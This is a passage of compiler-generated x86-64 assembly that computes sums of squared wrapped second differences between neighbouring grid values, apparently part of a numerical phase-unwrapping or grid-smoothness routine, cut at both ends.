movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -96[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
add rax, 8
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -88[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
add eax, eax
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -80[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -72[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, 8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -56[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, 8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
add edx, edx
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -112[rbp]
movapd xmm1, xmm0
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -96[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -88[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -80[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -72[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -64[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -56[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -48[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -32[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, xmm0
addsd xmm0, xmm1
mov rax, QWORD PTR -128[rbp]
movsd QWORD PTR 16[rax], xmm0
.L131:
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 6
add QWORD PTR -128[rbp], rax
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
add QWORD PTR -120[rbp], rax
add DWORD PTR -144[rbp], 1
.L130:
mov eax, DWORD PTR -176[rbp]
sub eax, 1
cmp DWORD PTR -144[rbp], eax
jl .L132
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
sal rax, 6
add QWORD PTR -128[rbp], rax
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
sal rax, 3
add QWORD PTR -120[rbp], rax
add DWORD PTR -148[rbp], 1
.L129:
mov eax, DWORD PTR -180[rbp]
sub eax, 1
cmp DWORD PTR -148[rbp], eax
jl .L133
.L123:
mov rax, QWORD PTR -192[rbp]
mov eax, DWORD PTR 12[rax]
cmp eax, 1
jne .L134
mov eax, DWORD PTR -136[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -160[rbp]
add rax, rdx
mov QWORD PTR -120[rbp], rax
mov eax, DWORD PTR -136[rbp]
cdqe
add rax, 1
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -168[rbp]
add rax, rdx
mov QWORD PTR -128[rbp], rax
mov DWORD PTR -148[rbp], 1
jmp .L135
.L139:
mov DWORD PTR -140[rbp], 1
jmp .L136
.L138:
mov rax, QWORD PTR -128[rbp]
movzx eax, BYTE PTR 25[rax]
test al, al
jne .L137
mov rax, QWORD PTR -120[rbp]
sub rax, 8
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
add rax, 8
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -96[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -88[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -80[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -72[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -56[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -112[rbp]
movapd xmm1, xmm0
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -96[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -88[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -80[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -72[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -64[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -56[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -48[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -32[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, xmm0
addsd xmm0, xmm1
mov rax, QWORD PTR -128[rbp]
movsd QWORD PTR 16[rax], xmm0
.L137:
add QWORD PTR -128[rbp], 64
add QWORD PTR -120[rbp], 8
add DWORD PTR -140[rbp], 1
.L136:
mov eax, DWORD PTR -172[rbp]
sub eax, 1
cmp DWORD PTR -140[rbp], eax
jl .L138
mov eax, DWORD PTR -136[rbp]
sub eax, DWORD PTR -172[rbp]
cdqe
add rax, 2
sal rax, 6
add QWORD PTR -128[rbp], rax
mov eax, DWORD PTR -136[rbp]
sub eax, DWORD PTR -172[rbp]
cdqe
add rax, 2
sal rax, 3
add QWORD PTR -120[rbp], rax
add DWORD PTR -148[rbp], 1
.L135:
mov eax, DWORD PTR -180[rbp]
sub eax, 1
cmp DWORD PTR -148[rbp], eax
jl .L139
mov eax, DWORD PTR -136[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -160[rbp]
add rax, rdx
mov QWORD PTR -120[rbp], rax
mov eax, DWORD PTR -136[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -168[rbp]
add rax, rdx
mov QWORD PTR -128[rbp], rax
mov DWORD PTR -148[rbp], 1
jmp .L140
.L144:
mov DWORD PTR -140[rbp], 1
jmp .L141
.L143:
mov rax, QWORD PTR -128[rbp]
movzx eax, BYTE PTR 25[rax]
test al, al
jne .L142
mov rax, QWORD PTR -120[rbp]
add rax, 8
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
sub rax, 8
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -96[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
